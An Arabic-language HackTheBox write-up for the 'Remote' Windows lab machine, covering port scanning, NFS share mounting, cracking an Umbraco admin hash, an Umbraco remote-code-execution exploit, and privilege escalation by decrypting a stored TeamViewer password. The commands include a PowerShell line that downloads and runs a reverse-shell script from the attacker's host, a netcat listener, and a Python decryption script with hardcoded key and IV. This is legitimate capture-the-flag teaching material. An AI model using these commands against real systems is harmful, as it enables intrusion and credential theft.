> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md). # تقرير HackTheBox عن Remote {% embed url="" %} {% hint style="warning" %} **المهارات**: * استطلاع الويب * استطلاع NFS - Showmount * تسرب المعلومات * استغلال لوحة إدارة Umbraco * Umbraco CMS - تنفيذ التعليمات البرمجية عن بُعد بواسطة المسؤولين الموثقين * الحصول على كلمة مرور TeamViewer من سجلات النظام (AES128 - CBC) (تصعيد الامتيازات) {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**/ تعداد المنافذ المفتوحة وتصدير النتائج إلى ملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractport:**/ باستخدام دالة extractport لعرض المنافذ المفتوحة بصيغة موجزة ونسخها إلى الحافظة.

**فحص إصدار المنافذ باستخدام Nmap:**/ استخدم Nmap لفحص إصدارات الخدمات وحفظ المخرجات في ملف "targeted": ```bash nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted ```

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف

### الويب (المنفذ 80): ```bash whatweb http://remote.htb ```

### SMB - المنفذ 445 قائمة **SMB:** ```bash crackmapexec smb 10.10.10.180 ```

### **عميل SMB (جلسة فارغة):** ```bash smbclient -L 10.10.10.180 -N ```

### FTP (21) مجهول لدينا القدرة على الاتصال عبر FTP باستخدام المستخدم المجهول، لكن لا يمكننا عرض الملفات أو إضافتها. ```bash ftp 10.10.10.180 put test.txt ```

## خدمة NFS (المنفذ 2049) {% hint style="info" %} نظام الملفات الشبكي (NFS) هو بروتوكول على مستوى طبقة التطبيقات في نموذج OSI. يُستخدم لإنشاء أنظمة ملفات موزعة في شبكة محلية، مما يسمح للأنظمة المتصلة المختلفة بالوصول إلى الملفات البعيدة كما لو كانت محلية. {% endhint %} لسرد الملفات باستخدام `mount`: ```bash showmount -e 10.10.10.180 ``` نرى `/site_backups` يمكن للجميع رؤيته.

لاستيراد هذا الملف، يجب عليك إنشاء مجلد وضمّه على جهازنا كما يلي: ```bash mkdir /mnt/mounted_files mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files ```

مع `tree`، سنسرد جميع المجلدات في الشجرة للحصول على فكرة: ``` tree -L 2 ``` نرى `.config` التهيئة و `sdf` مجلد من قاعدة بيانات Umbraco (نظام إدارة محتوى) الخاصة بالمنفذ 80.

الـ `.conf` الملف لا يحتوي على أي شيء مثير للاهتمام، و `umbraco.sdf` هو ملف ثنائي.

سنستخدم `strings` لعرض الأحرف المرئية ووضعها في دليلنا لإجراء تحليل مفصل: ```bash strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output ``` نجد كلمات مرور "admin" ومستخدمًا "smith".

### كسر كلمات المرور: المسؤول (hash): `b8be16afba8c314ad33d812f22a04991b90e2aaa` {% embed url="" %}

المسؤول: `baconandcheese` #### بما أن SMB مكشوف، نستخدم CrackMapExec للمصادقة والتحقق من الوصول ```bash crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese' crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese' ``` #### لا تأثير

## ثغرة تنفيذ التعليمات البرمجية عن بُعد (Umbraco CMS) نجد لوحة إدارة وسنحاول مصادقة مستخدم المدير: `admin@htb.local:baconandcheese`

لدينا وصول.

سنبحث `Searchsploit` عن ثغرات نظام إدارة المحتوى هذا ونجد سكربت NCE لـ Umbraco.

`searchsploit -m aspx/webapps/46153.py` سنغيّر إعدادات تسجيل الدخول وكلمة المرور والمضيف في السكربت.

**تحقق من الاتصال باستخدام ping:**/ سننفذ هذا الأمر على الخادم، وسنستمع باستخدام tcpdump ```bash /c ping 10.10.14.6 tcpdump -i tun0 icmp ```

بمجرد أن نرى أننا نستطيع تنفيذ الأوامر، سنحمّل `PS.ps1` السكربت إلى جهازنا. {% embed url="" %} في نهاية السكربت، نضيف السطر التالي: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444 ```

سننشئ خادم ويب باستخدام `PS.ps1` السكربت: ```bash python3 -m http.server 80 ``` ثم سنعدّل الأمر ليشير إلى خادم الويب الخاص بنا: {% code fullWidth="true" %} ``` /c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/') ``` {% endcode %} أخيرًا، سنستمع على المنفذ 4444: ```bash rlwrap nc -nlvp 4444 ```

الوصول إلى `user.txt` الملف ونجد أن TeamViewer مثبت

## تصعيد الامتيازات: إذا نظرت إلى المهام قيد التشغيل، يمكنك رؤية TeamViewer الإصدار 7. ```powershell tasklist /svc ```

عند البحث في سكربتات Metasploit، نجد واحدًا يمكنه استرجاع كلمة مرور TeamViewer: ```powershell locate teamviewer | grep metasploit ```

عند تحليل السكربت، يجب أولًا الحصول على المفتاح (اعتمادًا على الإصدار) من السجل: `HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version` بعد ذلك، يجب فحص خصائص الأمان، وخاصة كلمة مرور AES: ```powershell cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7 (Get-ItemProperty .).SecurityPasswordAES ```

ضع البايتات التالية في `النص المشفّر`: `255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91` ### سكربت أتمتة بايثون: هذا هو السكربت الذي يؤتمت العملية كاملة: ```python from itertools import product from Crypto.Cipher import AES import Crypto.Cipher.AES IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04" key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00" decipher = AES.new(key,AES.MODE_CBC,IV) ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91]) plaintext = decipher.decrypt(ciphertext).decode() print(plaintext) ```

كلمة المرور هي `!R3m0te!`. سنتحقق باستخدام CrackMapExec مما إذا كانت كلمة المرور صحيحة للمستخدم `Administrator`: ```bash crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!' ```

نتصل باستخدام Evil-WinRM، إذ إن خدمة إدارة Windows عن بُعد نشطة على المنفذ 5985:

evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'

### العلم النهائي للجذر :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.